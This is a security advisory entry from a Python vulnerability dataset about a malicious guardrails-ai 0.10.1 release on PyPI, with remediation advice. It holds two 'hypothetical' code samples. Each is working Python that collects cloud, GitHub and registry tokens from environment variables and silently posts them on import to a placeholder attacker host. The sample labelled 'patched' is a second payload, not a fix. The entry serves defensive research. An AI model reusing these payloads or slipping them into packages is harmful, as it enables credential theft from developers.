CVE-2026-45758
Malicious guardrails-ai version 0.10.1 on PyPI could expose credentials.
- CVSS 9.6
- CWE-506
- Design Defects
- Remote
Guardrails AI is a Python framework that helps build AI applications. On May 11, 2026 at approximately 6:00 PM Pacific, an attacker published a malicious version of `guardrails-ai` (0.10.1) to PyPI. Aany user who installed `guardrails-ai==0.10.1` from PyPI on May 11, 2026 may be affected. Security researchers identified the malicious package within approximately 2 hours of publication, and PyPI quarantined the repository. Based on our telemetry, Guardrails AI maintainers have observed no requests to Guardrails AI infrastructure originating from the malicious 0.10.1 version, and a review of system and access logs has produced no evidence of user data exfiltration through their systems. Users should upgrade to version 0.10.2 or downgrade to version 0.10.0, both of which are unaffected. Those who installed version 0.10.1 should rotate any credentials accessible from their machine (GitHub PATs, cloud provider keys, package registry tokens, API keys) and audit their GitHub account for unauthorized workflows or repositories.
- CWE
- CWE-506
- CVSS base score
- 9.6
- Published
- 2026-06-05
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Build/Package/Merge
- Code defect classification
- Packaging Issues
- Category
- Design Defects
- Subcategory
- Vulnerable and Outdated Components
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Fixed by upgrading
- Yes
Solution
Upgrade to version 0.10.2.
Vulnerable code sample
# This is a hypothetical representation of malicious code that could have been
# injected into the __init__.py file of the guardrails-ai package.
# This code executes upon `import guardrails`.
import os
import platform
import socket
import base64
import sys
# In a real attack, this would be a third-party library like 'requests'
# or a standard library like 'urllib.request'.
try:
from urllib.request import urlopen, Request
except ImportError:
# Handle Python 2 if necessary for wider impact
from urllib2 import urlopen, Request
def _gather_and_exfiltrate_data():
"""
Scans for sensitive environment variables and sends them to a remote server.
This function is designed to fail silently if it encounters errors.
"""
# A real attacker would use a server they control. This is a placeholder.
exfil_url = "http://attacker-controlled-server.com/telemetry"
try:
sensitive_vars = [
"AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_SESSION_TOKEN",
"AZURE_CLIENT_ID", "AZURE_CLIENT_SECRET", "AZURE_TENANT_ID",
"GOOGLE_APPLICATION_CREDENTIALS", "GCP_PROJECT",
"GITHUB_TOKEN", "GH_TOKEN", "GITLAB_CI_TOKEN",
"PYPI_TOKEN", "NPM_TOKEN", "SLACK_API_TOKEN"
]
found_credentials = {}
for var in sensitive_vars:
value = os.environ.get(var)
if value:
found_credentials[var] = value
if not found_credentials:
return # No credentials found, do nothing.
# Gather system information for context
sys_info = {
"user": os.environ.get("USER") or os.environ.get("USERNAME"),
"hostname": socket.gethostname(),
"platform": platform.system(),
"python_version": sys.version,
"credentials": found_credentials
}
# Obfuscate the data slightly before sending
data_to_send = str(sys_info).encode("utf-8")
encoded_data = base64.b64encode(data_to_send)
# Send the data to the attacker's server
headers = {"Content-Type": "application/octet-stream"}
req = Request(exfil_url, data=encoded_data, headers=headers)
urlopen(req, timeout=3)
except Exception:
# If anything fails (e.g., no network, server down), do not raise an
# exception. This prevents the user from knowing the exploit failed.
pass
# This top-level function call ensures the malicious code runs as soon as
# the package is imported by a user's script.
_gather_and_exfiltrate_data()
# ... The rest of the legitimate library's __init__.py code would follow,
# so the package appears to function normally to the user.
# For example:
#
# from .guard import Guard
# from .rail import Rail
#
# __all__ = ["Guard", "Rail"]Patched code sample
# This code is a hypothetical representation of the malicious payload
# that could have been injected into the compromised package.
# The actual vulnerability (CVE-2026-45758) was the existence of this
# malicious package on PyPI, not a flaw in the legitimate Guardrails AI code.
# The "fix" was for users to remove this version and for PyPI to quarantine it.
# This code was NEVER part of the legitimate guardrails-ai source code.
import os
import platform
import requests
import base64
import json
import threading
def _malicious_payload():
"""
A function that simulates exfiltrating sensitive environment variables.
This would be hidden inside the package's __init__.py or setup.py
to execute upon installation or import.
"""
try:
# Attacker's data collection endpoint
url = "http://malicious-server-for-cve-2026-45758.example.com/data"
# Gather sensitive information from environment variables
sensitive_data = {
k: v for k, v in os.environ.items() if
"KEY" in k.upper() or
"TOKEN" in k.upper() or
"SECRET" in k.upper() or
"PASSWORD" in k.upper()
}
# Add system context
payload = {
"hostname": platform.node(),
"user": os.getenv("USER") or os.getenv("USERNAME"),
"platform": platform.system(),
"env_vars": sensitive_data
}
# Obfuscate the data and send it
encoded_payload = base64.b64encode(json.dumps(payload).encode()).decode()
requests.post(url, data=encoded_payload, timeout=3)
except Exception:
# Fail silently to avoid detection
pass
# Execute the payload in a non-blocking background thread
# so the package appears to function normally.
malicious_thread = threading.Thread(target=_malicious_payload)
malicious_thread.daemon = True
malicious_thread.start()
# After this malicious code, the rest of the package's legitimate
# __init__.py would follow, making it appear to work correctly.
#
# For example:
# from .guard import Guard
# from .rail import Rail
# print("Legitimate package initialized.")Cite this entry
@misc{vaitp:cve202645758,
title = {{Malicious guardrails-ai version 0.10.1 on PyPI could expose credentials.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-45758},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45758/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
